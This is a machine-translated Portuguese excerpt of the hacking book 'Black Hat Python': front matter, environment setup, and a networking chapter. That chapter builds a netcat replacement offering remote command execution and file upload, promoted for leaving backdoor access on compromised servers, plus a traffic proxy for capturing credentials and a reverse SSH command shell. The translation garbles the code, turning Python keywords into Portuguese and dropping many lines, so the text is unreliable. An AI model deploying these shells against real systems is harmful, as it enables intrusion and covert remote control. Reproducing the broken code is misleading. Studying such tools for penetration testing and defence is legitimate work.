Black Hat Python
Black Hat Python
Justin Seitz
www.it-ebooks.info
Machine Translated by Google
www.it-ebooks.info
Machine Translated by Google
www.it-ebooks.info
Machine Translated by Google
Chapéu preto
Pitão
Programação Python para
Hackers e pentesters
São Francisco
www.it-ebooks.info
Machine Translated by Google
Todos os direitos reservados. Nenhuma parte deste trabalho pode ser reproduzida ou transmitida de qualquer forma ou por qualquer
meio, eletrônico ou mecânico, incluindo fotocópia, gravação ou por qualquer sistema de armazenamento ou recuperação de
informações, sem a permissão prévia por escrito do proprietário dos direitos autorais e do editor.
Primeira impressão
18 17 16 15 14 123456789
ISBN-10: 1-59327-590-0
ISBN-13: 978-1-59327-590-7
Para obter informações sobre distribuição, traduções ou vendas a granel, entre em contato diretamente com a No Starch Press, Inc.:
No Starch Press e o logotipo No Starch Press são marcas registradas da No Starch Press, Inc. Outros nomes de produtos e
empresas mencionados aqui podem ser marcas registradas de seus respectivos proprietários. Em vez de usar um símbolo de marca
registrada em cada ocorrência de um nome de marca registrada, utilizamos os nomes apenas de forma editorial e para o benefício do
proprietário da marca registrada, sem intenção de violar os
marca comercial.
As informações contidas neste livro são distribuídas “como estão”, sem garantia. Embora todas as precauções tenham sido tomadas
na preparação deste trabalho, nem o autor nem a No Starch Press, Inc. terão qualquer responsabilidade perante qualquer pessoa ou
entidade com relação a qualquer perda ou dano causado ou supostamente causado direta ou indiretamente pelo informações nele
contidas.
www.it-ebooks.info
Machine Translated by Google
Pat
www.it-ebooks.info
Machine Translated by Google
www.it-ebooks.info
Machine Translated by Google
Sobre o autor
Justin Seitz é pesquisador sênior de segurança da Immunity, Inc., onde passa seu
tempo caçando bugs, fazendo engenharia reversa, escrevendo exploits e codificando
Python. Ele é o autor de Gray Hat Python, o primeiro livro a abordar Python para
análise de segurança.
Desde os primeiros dias do Commodore PET e do VIC-20, a tecnologia tem sido uma
companheira constante (e às vezes uma obsessão!) de Cliff Janzen. Cliff descobriu
sua paixão profissional quando mudou para segurança da informação em 2008,
após uma década de operações de TI. Nos últimos anos, Cliff tem trabalhado
felizmente como consultor de segurança, fazendo de tudo, desde revisão de
políticas até testes de penetração, e ele se sente sortudo por ter uma carreira que
também é seu hobby favorito.
www.it-ebooks.info
Machine Translated by Google
www.it-ebooks.info
Machine Translated by Google
Breve Conteúdo
Prefácio. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . xvii
Agradecimentos. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . XIX
Índice . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 163
www.it-ebooks.info
Machine Translated by Google
www.it-ebooks.info
Machine Translated by Google
Conteúdo em detalhes
Prefácio xvii
Agradecimentos XIX
1
Configurando seu ambiente Python 1
2
A Rede: Noções Básicas 9
3
A Rede: Raw Sockets e Sniffing 35
www.it-ebooks.info
Machine Translated by Google
4
Possuindo a rede com Scapy 47
5
Hackers da Web 61
6
Estendendo o proxy Burp 75
Configurando . . . . . . . . . . . . .
. .. .. .. .. .. . .. .. .. .. .. . .. .. .. .. .. . .. .. .. . . 76
Arrotar Fuzzing. . . . . . . . . . .
. .. .. .. .. .. . .. .. .. .. .. . .. .. .. .. .. . .. .. .. . . 78
. .. .. .. .. .. . ..
Chutando os pneus. .. .. .. .. . .. .. .. .. .. . .. .. .. . . 83
Bing para arrotar. . . . . . . . . . .
. .. .. .. .. .. . .. .. .. .. .. . .. .. .. .. .. . .. .. .. . . 87
Chutando os pneus. . . . . . . . . . . . . . . .. .. .. .. . .. .. .. .. .. . .. .. .. . . 91
Transformando o conteúdo do site em senha ouro. . .. .. .. .. . .. .. .. .. .. . .. .. .. . . 93
Chutando os pneus. . . . . . . . . . . . . . . .. .. .. .. . .. .. .. .. .. . .. .. .. . . 97
7
Comando e controle do GitHub 101
8
Tarefas comuns de trojan no Windows 111
www.it-ebooks.info
Machine Translated by Google
9
Diversão com o Internet Explorer 123
.. .. .. ..
Homem no navegador (mais ou menos). .. . .. .. .. .. .. . .. .. .. .. .. . .. .. .. . 124
Criando o Servidor. . .. .. .. .. . .. .. .. .. .. . .. .. .. .. .. . .. .. .. . 127
Chutando os pneus. . . . . . .. .. .. . .. .. .. .. .. . .. .. .. .. .. . .. .. .. . 128
Automação IE COM para exfiltração. . .. .. . .. .. .. .. .. . .. .. .. .. .. . .. .. .. . 128
Chutando os pneus. . . . . . . . . . .. . .. .. .. .. .. . .. .. .. .. .. . .. .. .. . 134
10
Escalação de privilégios do Windows 137
11
Automatizando a perícia forense ofensiva 151
Instalação. . 152 .. .. .. .. .. .. . .. .. .. .. .. . .. .. .. .. .. . .. .. .. .. .. . .. .. ..
Perfis.................................................. ....... 152
Capturando hashes de senha. . 153 . . . . . . . . . . . .. .. .. .. .. . .. .. .. .. .. . .. .. ..
Injeção direta de código. . 156 .. .. . .. .. .. .. .. . .. .. .. .. .. . .. .. .. .. .. . .. .. ..
Chutando os pneus. . .161 .. .. .. .. .. . .. .. .. .. .. . .. .. .. .. .. . .. .. ..
Índice 163
www.it-ebooks.info
Machine Translated by Google
www.it-ebooks.info
Machine Translated by Google
Prefácio
www.it-ebooks.info
Machine Translated by Google
Neste novo livro, Justin cobre uma ampla gama de tópicos que um jovem
hacker empreendedor precisaria para decolar. Ele inclui orientações sobre como ler
e escrever pacotes de rede, como farejar a rede, bem como qualquer coisa que você
possa precisar para auditoria e ataque de aplicativos da web. Em seguida, ele passa
um tempo significativo mergulhando em como escrever código para abordar detalhes
específicos do ataque a sistemas Windows. Em geral, Black Hat Python é uma leitura
divertida e, embora possa não transformá-lo em um hacker super dublê como eu,
certamente pode ajudá-lo a começar o caminho. Lembre-se de que a diferença entre
script kiddies e profissionais é a diferença entre simplesmente usar as ferramentas
de outras pessoas e escrever as suas próprias.
Charles Miller
São Luís, Missouri
Setembro de 2014
xvi Prefácio
www.it-ebooks.info
Machine Translated by Google
Prefácio
Hacker Python. Essas são duas palavras que você realmente poderia
usar para me descrever. Na Immunity, tenho a sorte de trabalhar com
pessoas que realmente sabem como codificar Python. Eu não sou uma
dessas pessoas. Passo grande parte do meu tempo fazendo testes de
penetração, e isso requer um rápido desenvolvimento de ferramentas
Python, com foco na execução e na entrega de resultados (não
necessariamente em beleza, otimização ou mesmo estabilidade). Ao
longo deste livro, você aprenderá que é assim que eu codifico, mas
também sinto que isso faz parte do que me torna um pentester forte.
Espero que essa filosofia e estilo ajudem você também.
À medida que você avança no livro, você também perceberá que não me aprofundo
em nenhum tópico. Isso ocorre intencionalmente. Quero lhe dar o mínimo, com um pouco
de sabor, para que você tenha algum conhecimento básico. Com isso em mente,
espalhei ideias e tarefas de casa ao longo do livro para impulsionar você em sua
própria direção. Encorajo você a explorar essas ideias e adoraria receber comentários
sobre quaisquer implementações, ferramentas ou trabalhos de casa que você tenha
feito.
www.it-ebooks.info
Machine Translated by Google
Como acontece com qualquer livro técnico, leitores com diferentes níveis de habilidade com Python
(ou segurança da informação em geral) terão uma experiência diferente com este livro.
Alguns de vocês podem simplesmente pegá-lo e pegar capítulos pertinentes ao trabalho de
consultoria em que estão, enquanto outros podem lê-lo de capa a capa. Eu recomendaria que, se
você for um programador Python iniciante ou intermediário, comece no início do livro e leia-o direto
na ordem. Você pegará alguns bons blocos de construção ao longo do caminho.
Tento manter os exemplos de código curtos e diretos, e o mesmo vale para as explicações.
Se você é relativamente novo em Python, eu o encorajo a digitar cada linha para ativar a memória
muscular da codificação. Todos os exemplos de código-fonte deste livro estão disponíveis em http://
nostarch.com/
blackhatpython/.
Aqui vamos nós!
XVIII Prefácio
www.it-ebooks.info
Machine Translated by Google
Agradecimentos
Gostaria de agradecer à minha família – minha linda esposa, Clare, e meus cinco filhos, Emily,
Carter, Cohen, Brady e Mason – por todo o incentivo e tolerância enquanto passei um ano e meio de
minha vida escrevendo este livro. Meus irmãos, minha irmã, minha mãe, meu pai e Paulette também
me deram muita motivação para continuar avançando, não importa o que aconteça. Eu amo todos
vocês.
A todos os meus pais da Immunity (eu listaria cada um de vocês aqui se tivesse a oportunidade
sala): obrigado por me tolerar no dia a dia. Vocês são realmente uma equipe incrível de se
trabalhar. À equipe da No Starch – Tyler, Bill, Serena e Leigh – muito obrigado por todo o trabalho
duro que você dedicou a este livro e ao restante de sua coleção. Todos nós apreciamos isso.
Gostaria também de agradecer aos meus revisores técnicos, Dan Frisch e Cliff Janzen. Esses caras
digitaram e criticaram cada linha do código, escreveram o código de suporte, fizeram edições e
forneceram um suporte absolutamente incrível durante todo o processo. Qualquer pessoa que esteja
escrevendo um livro sobre segurança da informação deveria realmente envolver esses caras; eles
foram incríveis e muito mais.
Para o resto de vocês, rufiões que compartilham bebidas, risadas e GChats:
obrigado por me deixar irritar e reclamar com você sobre escrever este livro.
www.it-ebooks.info
Machine Translated by Google
www.it-ebooks.info
Machine Translated by Google
1
Configurando seu
Não importa o meio ambiente
www.it-ebooks.info
Machine Translated by Google
A primeira coisa que faremos é garantir que a versão correta do Python esteja
instalada. Este livro usará Python 2.7 por toda parte. No shell
(AplicativosÿAcessórios4Terminal), execute o seguinte:
2. Para obter uma lista “clicável” dos links neste capítulo, visite http:// nostarch.com/ blackhatpython/.
2 Capítulo 1
www.it-ebooks.info
Machine Translated by Google
Se você baixou exatamente a imagem que recomendei acima, o Python 2.7 será
instalado automaticamente. Observe que usar uma versão diferente do Python pode quebrar
alguns dos exemplos de código deste livro. Você foi avisado.
Você deverá ver a saída em seu terminal indicando que a biblioteca está
sendo baixado e instalado.
Em seguida, entre em um shell Python e verifique se ele foi instalado corretamente:
raiz@kali:~#: python
Python 2.7.3 (padrão, 14 de março de 2014, 11:57:14)
[GCC 4.7.2] no Linux2
Digite “ajuda”, “copyright”, “créditos” ou “licença” para obter mais informações.
>>> importar github3
>>> sair()
WingIDE
Embora eu normalmente não defenda produtos de software comerciais, WingIDE é o
melhor IDE que usei nos últimos sete anos na Immunity. WingIDE fornece todas as
funcionalidades básicas do IDE, como preenchimento automático e explicação de
parâmetros de função, mas seus recursos de depuração são o que o define
www.it-ebooks.info
Machine Translated by Google
além de outros IDEs. Darei a você um rápido resumo da versão comercial do WingIDE, mas é
claro que você deve escolher a versão que for melhor para você.3
Você pode obter o WingIDE em http:// www.wingware.com/, e recomendo que você instale
o teste para poder experimentar em primeira mão alguns dos recursos disponíveis na versão
comercial.
Você pode fazer seu desenvolvimento em qualquer plataforma que desejar, mas pode ser
é melhor instalar o WingIDE em seu Kali VM, pelo menos para começar. Se você seguiu minhas
instruções até agora, certifique-se de baixar o pacote .deb de 32 bits para WingIDE e salvá-lo
em seu diretório de usuário.
Em seguida, entre em um terminal e execute o seguinte:
Isso deve instalar o WingIDE conforme planejado. Se você conseguir alguma instalação
erros, pode haver dependências não atendidas. Neste caso, basta executar:
Isso deve corrigir quaisquer dependências ausentes e instalar o WingIDE. Para verificar
se você o instalou corretamente, certifique-se de poder acessá-lo conforme mostrado na Figura 1-2.
3. Para uma comparação de recursos entre versões, visite https:// wingware.com/ wingide/ features/.
4 Capítulo 1
www.it-ebooks.info
Machine Translated by Google
Vamos escrever um código simples para ilustrar algumas das funções úteis
do WingIDE, incluindo as guias Debug Probe e Stack Data. Insira o seguinte código no editor:
def soma(número_um,número_dois):
número_um_int = convert_integer(número_um)
número_dois_int = convert_integer(número_dois)
resultado de retorno
def convert_inteiro(número_string):
convertido_inteiro = int(número_string)
retornar convertido_inteiro
resposta = soma("1","2")
www.it-ebooks.info
Machine Translated by Google
retornar convertido_inteiro
Você pode fazer isso clicando na margem esquerda ou pressionando a tecla F9.
Você deverá ver um pequeno ponto vermelho aparecer na margem. Agora execute o script
pressionando F5 e a execução deverá parar no seu ponto de interrupção. Clique na guia Stack
Data e você deverá ver uma tela como a da Figura 1-5.
A guia Stack Data nos mostrará algumas informações úteis, como o estado de quaisquer
variáveis locais e globais no momento em que nosso ponto de interrupção foi atingido. Isso
permite depurar códigos mais avançados onde você precisa inspecionar variáveis durante a
execução para rastrear bugs. Se você clicar na barra suspensa, também poderá ver a pilha de
chamadas atual, que informa qual função chamou a função em que você está atualmente. Dê
uma olhada na Figura 1-6 para ver o rastreamento de pilha.
6 Capítulo 1
www.it-ebooks.info
Machine Translated by Google
www.it-ebooks.info
Machine Translated by Google
Podemos ver que convert_integer foi chamado a partir da função sum na linha
3 do nosso script Python. Isso se torna muito útil se você tiver chamadas de função
recursivas ou uma função chamada de muitos locais potenciais. Usar a guia Stack Data
será muito útil em sua carreira de desenvolvimento Python!
O próximo recurso importante é a guia Debug Probe. Esta guia permite que
você entre em um shell Python que está sendo executado no contexto atual do
momento exato em que seu ponto de interrupção foi atingido. Isso permite
inspecionar e modificar variáveis, bem como escrever pequenos trechos de
código de teste para testar novas ideias ou solucionar problemas. A Figura 1.7
demonstra como inspecionar a variável convert_integer e alterar seu valor.
Figura 1-7: Usando o Debug Probe para inspecionar e modificar variáveis locais
4. Se você já usa um IDE que possui recursos comparáveis ao WingIDE, envie-me um e-mail ou um tweet porque eu
adoraria ouvir sobre isso!
8 Capítulo 1
www.it-ebooks.info
Machine Translated by Google
2
A Rede: Noções Básicas
1. A documentação completa do soquete pode ser encontrada aqui: http:// docs.python.org/ 2/ library/ socket.html.
www.it-ebooks.info
Machine Translated by Google
Este capítulo é a base para os capítulos subsequentes, nos quais construiremos uma
ferramenta de descoberta de host, implementaremos sniffers de plataforma cruzada e
criaremos uma estrutura de trojan remota. Vamos começar.
Cliente TCP
Houve inúmeras vezes durante os testes de penetração que precisei preparar um cliente
TCP para testar serviços, enviar dados inúteis, fuzz ou qualquer outra tarefa. Se você
estiver trabalhando dentro dos limites de ambientes corporativos de grande porte, não terá
o luxo de ferramentas de rede ou compiladores e, às vezes, sentirá falta do básico absoluto,
como a capacidade de copiar/colar ou uma conexão com a Internet. É aqui que a capacidade
de criar rapidamente um cliente TCP é extremamente útil. Mas chega de tagarelice - vamos
começar a codificação. Aqui está um cliente TCP simples.
soquete de importação
target_host = "www.google.com"
porta_alvo = 80
#conecte o cliente
v client.connect((target_host,target_port))
imprimir resposta
10 Capítulo 2
www.it-ebooks.info
Machine Translated by Google
Cliente UDP
Um cliente Python UDP não é muito diferente de um cliente TCP; precisamos fazer apenas
duas pequenas alterações para que ele envie pacotes no formato UDP.
soquete de importação
target_host = "127.0.0.1"
porta_alvo = 80
imprimir dados
Como você pode ver, alteramos o tipo de soquete para SOCK_DGRAM u ao criar o
objeto soquete. O próximo passo é simplesmente chamar sendto() v, passando os dados e o
servidor para o qual deseja enviar os dados. Como o UDP é um protocolo sem conexão, não
há chamada prévia para connect() . A última etapa é chamar recvfrom() w para receber dados
UDP de volta. Você também notará que ele retorna os dados e os detalhes do host e da porta
remotos.
Novamente, não pretendemos ser programadores de rede superiores; nós queremos
para ser rápido, fácil e confiável o suficiente para lidar com nossas tarefas diárias de
hacking. Vamos prosseguir para a criação de alguns servidores simples.
www.it-ebooks.info
Machine Translated by Google
Servidor TCP
Criar servidores TCP em Python é tão fácil quanto criar um cliente. Você pode querer usar seu próprio
servidor TCP ao escrever shells de comando ou criar um proxy (faremos ambos mais tarde).
Vamos começar criando um servidor TCP multithread padrão. Execute o código abaixo:
soquete de importação
importar threading
bind_ip = "0.0.0.0"
bind_port = 9999
você server.bind((bind_ip,bind_port))
v servidor.listen(5)
cliente_socket.close()
enquanto Verdadeiro:
12 Capítulo 2
www.it-ebooks.info
Machine Translated by Google
aponta para nossa função handle_client e passamos a ela o objeto soquete do cliente como
argumento. Em seguida, iniciamos o thread para lidar com a conexão do cliente y, e nosso loop do
servidor principal está pronto para lidar com outra conexão de entrada.
A função handle_client w executa recv() e então envia uma mensagem simples de volta ao cliente.
Se você usar o cliente TCP que construímos anteriormente, poderá enviar alguns testes
pacotes para o servidor e você deverá ver uma saída como esta:
É isso! Muito simples, mas este é um trecho de código muito útil que
Estenderemos nas próximas seções quando construirmos um substituto do netcat e um proxy
TCP.
Substituindo o Netcat
O Netcat é o canivete da rede, então não é surpresa que administradores de sistemas astutos
o removam de seus sistemas. Em mais de uma ocasião, encontrei servidores que não possuem
o netcat instalado, mas possuem Python. Nesses casos, é útil criar um cliente e servidor de
rede simples que você possa usar para enviar arquivos ou ter um ouvinte que forneça acesso à
linha de comando. Se você invadiu um aplicativo da web, definitivamente vale a pena descartar um
retorno de chamada do Python para fornecer acesso secundário sem precisar primeiro gravar um
de seus cavalos de Tróia ou backdoors. Criar uma ferramenta como essa também é um ótimo
exercício de Python, então vamos começar.
sistema de importação
soquete de importação
importar getopt
importar threading
subprocesso de importação
www.it-ebooks.info
Machine Translated by Google
Agora vamos criar nossa função principal responsável por lidar com argumentos
de linha de comando e chamar o restante de nossas funções.
def main():
escuta global
porta global
global executa
comando global
global upload_destination
destino global
se não len(sys.argv[1:]):
uso()
14 Capítulo 2
www.it-ebooks.info
Machine Translated by Google
# envia dados
cliente_sender(buffer)
principal()
def cliente_sender(buffer):
tentar:
# conecte-se ao nosso host alvo
client.connect((destino,porta))
em if len(buffer):
client.send(buffer)
www.it-ebooks.info
Machine Translated by Google
enquanto Verdadeiro:
em enquanto recv_len:
dados = cliente.recv(4096)
recv_len = len(dados)
resposta+= dados
se recv_len <4096:
quebrar
imprimir resposta,
#envie
cliente.enviar(buffer)
exceto:
# desfaz a conexão
cliente.fechar()
A maior parte deste código já deve parecer familiar para você. Começamos configurando
nosso objeto de soquete TCP e então testamos você para ver se recebemos alguma entrada do
stdin. Se tudo estiver bem, enviamos os dados para o destino remoto e recebemos de volta os dados
v até que não haja mais dados para receber. Em seguida, esperamos por mais informações do usuário
w e continuamos enviando e recebendo dados até que o usuário elimine o script. A quebra de linha
extra é anexada especificamente à entrada do usuário para que nosso cliente seja compatível com
nosso shell de comando. Agora seguiremos em frente e criaremos nosso loop de servidor primário
e uma função stub que irá lidar com a execução de nossos comandos e nosso shell de comando
completo.
def server_loop():
meta global
16 Capítulo 2
www.it-ebooks.info
Machine Translated by Google
servidor.listen(5)
enquanto Verdadeiro:
def run_command(comando):
Até agora, você já tem experiência na criação de servidores TCP completos com threading,
então não vou me aprofundar na função server_loop . O run_command
function, entretanto, contém uma nova biblioteca que ainda não abordamos: a biblioteca de
subprocessos . subprocess fornece uma interface poderosa de criação de processos que oferece
diversas maneiras de iniciar e interagir com programas clientes.
Nesse caso, estamos simplesmente executando qualquer comando que passamos, executando-
o no sistema operacional local e retornando a saída do comando de volta ao cliente que está
conectado a nós. O código de tratamento de exceções detectará erros genéricos e retornará
uma mensagem informando que o comando falhou.
Agora vamos implementar a lógica para fazer upload de arquivos, execução de comandos e
nosso shell.
def client_handler(client_socket):
carregamento global
execução global
comando global
# verifica o upload
em if len(destino_upload):
www.it-ebooks.info
Machine Translated by Google
em enquanto Verdadeiro:
dados = client_socket.recv(1024)
#executa o comando
saída = run_command(executar)
client_socket.send(saída)
enquanto Verdadeiro:
18 Capítulo 2
www.it-ebooks.info
Machine Translated by Google
ser útil para exercícios de upload e execução ou para instalar malware e fazer com que
o malware remova nosso retorno de chamada Python. Primeiro recebemos os dados do
arquivo em um loop v para garantir que recebemos tudo, e então simplesmente abrimos
um identificador de arquivo e escrevemos o conteúdo do arquivo. O sinalizador wb garante
que estamos gravando o arquivo com o modo binário habilitado, o que garante que o
upload e a gravação de um executável binário serão bem-sucedidos. Em seguida,
processamos nossa funcionalidade execute w, que chama nossa função run_command
escrita anteriormente e simplesmente envia o resultado de volta pela rede. Nosso último
trecho de código lida com nosso comando shell x; ele continua a executar comandos à
medida que os enviamos e envia de volta a saída. Você notará que ele está procurando um
caractere de nova linha para determinar quando processar um comando, o que o torna
compatível com o netcat. No entanto, se você estiver invocando um cliente Python para
falar com ele, lembre-se de adicionar o caractere de nova linha.
Chutando os pneus
Agora vamos brincar um pouco com isso para ver algum resultado. Em um terminal ou
shell cmd.exe , execute nosso script assim:
Agora você pode iniciar outro terminal ou cmd.exe e executar nosso script no modo
cliente. Lembre-se de que nosso script está lendo stdin e fará isso até que o marcador EOF
(fim de arquivo) seja recebido. Para enviar EOF, pressione Ctrl-D no teclado:
Você pode ver que recebemos de volta nosso shell de comando personalizado
e, como estamos em um host Unix, podemos executar alguns comandos locais e
receber de volta alguma saída como se tivéssemos feito login via SSH ou estivéssemos
na caixa localmente. Também podemos usar nosso cliente para enviar solicitações da
maneira boa e antiga:
www.it-ebooks.info
Machine Translated by Google
justin $
sistema de importação
soquete de importação
importar threading
def server_loop(local_host,local_port,remote_host,remote_port,receive_first):
tentar:
servidor.bind((local_host,local_port))
exceto:
print "[!!] Falha ao escutar em %s:%d" % (local_host,local_ ¬ porta)
sys.exit(0)
20 Capítulo 2
www.it-ebooks.info
Machine Translated by Google
servidor.listen(5)
enquanto Verdadeiro:
proxy_thread.start()
def principal():
se "True" em recebe_primeiro:
recebe_primeiro =
Verdadeiro senão:
receber_primeiro = Falso
principal()
A maior parte disso deve parecer familiar: consideramos alguns argumentos de linha de comando
mentos e, em seguida, acione um loop de servidor que escuta conexões. Quando
www.it-ebooks.info
Machine Translated by Google
Quando uma nova solicitação de conexão chega, nós a entregamos ao nosso proxy_handler, que
faz todo o envio e recebimento de bits interessantes para ambos os lados do fluxo de dados.
em buffer_remoto = receber_de(socket_remoto)
Em hexdump(buffer_remoto)
client_socket.send(remote_buffer)
# agora vamos fazer um loop e ler do local, #
enviar para o remoto, enviar para o local
# enxágue, lave, repita
enquanto Verdadeiro:
se len(local_buffer):
hexdump(local_buffer)
22 Capítulo 2
www.it-ebooks.info
Machine Translated by Google
se len(buffer_remoto):
remote_socket.close()
print "[*] Não há mais dados. Fechando conexões."
quebrar
Esta função contém a maior parte da lógica do nosso proxy. Para começar, verificamos
se não precisamos primeiro iniciar uma conexão com o lado remoto e solicitar dados
antes de entrar em nosso loop principal u.
Alguns daemons de servidor esperam que você faça isso primeiro (servidores FTP normalmente
enviam um banner primeiro, por exemplo). Em seguida, usamos nossa função receiver_from
v, que reutilizamos para ambos os lados da comunicação; ele simplesmente recebe um
objeto de soquete conectado e executa um recebimento. Em seguida, despejamos o
conteúdo do pacote para que possamos inspecioná-lo em busca de algo interessante. Em
seguida, entregamos a saída para nossa função response_handler x. Dentro desta função, você
pode modificar o conteúdo do pacote, realizar tarefas de difusão, testar problemas de
autenticação ou qualquer outra coisa que desejar. Há uma função request_handler gratuita
que faz o mesmo para modificar o tráfego de saída. A etapa final é enviar o buffer recebido
ao nosso cliente local. O resto do código do proxy é simples: lemos continuamente do local,
processamos, enviamos para o remoto, lemos do remoto, processamos e enviamos para o local
até que não haja mais dados detectados.
www.it-ebooks.info
Machine Translated by Google
imprimir b'\n'.join(resultado)
v def receber_de(conexão):
""
buffer =
tentar:
# continue lendo no buffer até que # não haja mais
dados
# ou expiramos
enquanto Verdadeiro:
dados = conexão.recv(4096)
buffer += dados
exceto:
passar
buffer de retorno
Este é o pedaço final de código para completar nosso proxy. Primeiro criamos
nossa função hexadecimal u que simplesmente exibirá os detalhes do pacote
com seus valores hexadecimais e caracteres imprimíveis em ASCII. Isso é útil
para compreender protocolos desconhecidos, encontrar credenciais de usuários em
protocolos de texto simples e muito mais. A função receiver_from v é usada para
receber dados locais e remotos, e simplesmente passamos no soquete
24 Capítulo 2
www.it-ebooks.info
Machine Translated by Google
objeto a ser usado. Por padrão, há um tempo limite de dois segundos definido, que pode ser
agressivo se você estiver fazendo proxy de tráfego para outros países ou em redes com
perdas (aumente o tempo limite conforme necessário). O restante da função simplesmente
trata do recebimento de dados até que mais dados sejam detectados na outra extremidade
da conexão. Nossas duas últimas funções permitem modificar qualquer tráfego destinado
a qualquer extremidade do proxy. Isso pode ser útil, por exemplo, se credenciais de usuário
em texto simples estiverem sendo enviadas e você quiser tentar elevar privilégios em um
aplicativo passando admin em vez de justin. Agora que configuramos nosso proxy, vamos
dar uma olhada.
Chutando os pneus
Agora que temos nosso loop de proxy principal e as funções de suporte instaladas, vamos
testar isso em um servidor FTP. Abra o proxy com as seguintes opções:
Usamos sudo aqui porque a porta 21 é uma porta privilegiada e requer privilégios
administrativos ou de root para ouvi-la. Agora pegue seu cliente FTP favorito e configure-
o para usar localhost e porta 21 como host e porta remotos. Claro, você desejará apontar
seu proxy para um servidor FTP que realmente responderá a você. Quando executei isso
em um servidor FTP de teste, obtive o seguinte resultado:
Você pode ver claramente que conseguimos receber com sucesso o banimento de FTP.
ner e envie um nome de usuário e senha, e que ele saia corretamente quando o servidor
nos atacar por causa de credenciais incorretas.
www.it-ebooks.info
Machine Translated by Google
Para aprender como esta biblioteca funciona, usaremos Paramiko para fazer uma
conexão e executar um comando em um sistema SSH, configurar um servidor SSH e um
cliente SSH para executar comandos remotos em uma máquina Windows e, finalmente,
decifrar a demonstração do túnel reverso arquivo incluído com Paramiko para duplicar a opção
de proxy do BHNET. Vamos começar.
Primeiro, pegue o Paramiko usando o instalador pip (ou baixe-o em http://
www.paramiko.org/):
Usaremos alguns dos arquivos de demonstração mais tarde, então certifique-se de baixá-los
do site da Paramiko também.
Crie um novo arquivo chamado bh_sshcmd.py e digite o seguinte:
importar threading
importar paramiko
subprocesso de importação
26 Capítulo 2
www.it-ebooks.info
Machine Translated by Google
Você verá que ele se conecta e executa o comando. Você pode modificar facilmente
este script para executar vários comandos em um servidor SSH ou executar comandos em
vários servidores SSH.
Assim, com o básico feito, vamos modificar nosso script para suportar a execução de
comandos em nosso cliente Windows por SSH. Claro, normalmente ao usar SSH, você usa um
cliente SSH para se conectar a um servidor SSH, mas como o Windows não inclui um servidor SSH
pronto para uso, precisamos reverter isso e enviar comandos de nosso servidor SSH para o cliente
SSH.
Crie um novo arquivo chamado bh_sshRcmd.py e digite o seguinte:2
importar threading
importar paramiko
subprocesso de importação
tentar:
cmd_output = subprocess.check_output (comando, shell = True)
ssh_session.send(cmd_output)
exceto Exceção,e:
ssh_session.send(str(e))
cliente.fechar()
retornar
ssh_command('192.168.100.130', 'justin', 'lovesthepython','ClientConnected')
2. Esta discussão amplia o trabalho de Hussam Khrais, que pode ser encontrado em http://
recursos.infosecinstitute.com/.
www.it-ebooks.info
Machine Translated by Google
As primeiras linhas são como o nosso último programa e as coisas novas começam
no while True: loop. Observe também que o primeiro comando que enviamos é
ClientConnected. Você verá o porquê quando criarmos a outra extremidade da conexão SSH.
soquete de importação
importar paramiko
importar threading
sistema de importação
ÿ tente:
bhSession = paramiko.Transport(cliente)
bhSession.add_server_key(host_key)
servidor = Servidor()
tentar:
bhSession.start_server(servidor=servidor)
exceto paramiko.SSHException, x:
imprimir '[-] Falha na negociação SSH.'
chan = bhSession.accept(20)
ÿ imprimir '[+] Autenticado!' imprimir
chan.recv(1024)
chan.send('Bem-vindo ao bh_ssh')
ÿ enquanto Verdadeiro:
tentar:
comando= raw_input("Digite o comando: ").strip('\n')
if comando! = 'sair':
28 Capítulo 2
www.it-ebooks.info
Machine Translated by Google
chan.send(comando)
imprimir chan.recv(1024) + '\n'
outro:
chan.send('sair')
imprima 'saindo'
bhSession.close()
levantar exceção ('saída')
exceto KeyboardInterrupt:
bhSession.close()
exceto Exceção, e:
'
print '[-] Exceção capturada: tente: + rua(s)
bhSession.close()
exceto:
passar
sys.exit(1)
Este programa cria um servidor SSH que nosso cliente SSH (onde queremos
para executar comandos) se conecta. Pode ser um sistema Linux, Windows ou mesmo
OS X que tenha Python e Paramiko instalados.
Neste exemplo, estamos usando a chave SSH incluída nos arquivos de
demonstração do Paramiko ÿ. Iniciamos um ouvinte de soquete ÿ, assim como fizemos
anteriormente no capítulo, e então o SSHinizamos ÿ e configuramos os métodos de autenticação ÿ.
Quando um cliente autentica ÿ e nos envia a mensagem ClientConnected ÿ, qualquer
comando que digitamos no bh_sshserver é enviado para o bh_sshclient e executado no
bh_sshclient, e a saída é retornada para bh_sshserver. Vamos tentar.
Chutando os pneus
em ÿ
ÿ
ÿ
ÿ
Você pode ver que o processo começa configurando nosso servidor SSH ÿ e depois
conectando-se a partir de nosso cliente ÿ. O cliente foi conectado com sucesso ÿ
www.it-ebooks.info
Machine Translated by Google
e executamos um comando ÿ. Não vemos nada no cliente SSH, mas o comando que
enviamos é executado no cliente ÿ e a saída é enviada para o nosso servidor SSH ÿ.
Tunelamento SSH
O tunelamento SSH é incrível, mas pode ser confuso de entender e configurar, especialmente
quando se trata de um túnel SSH reverso.
Lembre-se de que nosso objetivo em tudo isso é executar comandos que digitamos em
um cliente SSH em um servidor SSH remoto. Ao usar um túnel SSH, em vez de comandos
digitados serem enviados ao servidor, o tráfego de rede é enviado empacotado dentro do
SSH e depois desempacotado e entregue pelo servidor SSH.
Imagine que você está na seguinte situação: você tem acesso remoto a um servidor SSH em
uma rede interna, mas deseja acessar o servidor web na mesma rede. Você não pode acessar o
servidor web diretamente, mas o servidor com SSH instalado tem acesso e o servidor SSH não
possui as ferramentas que você deseja usar instaladas nele.
127.0.0.1
Porta 8008
Servidor SSH
Cliente SSH
servidor web
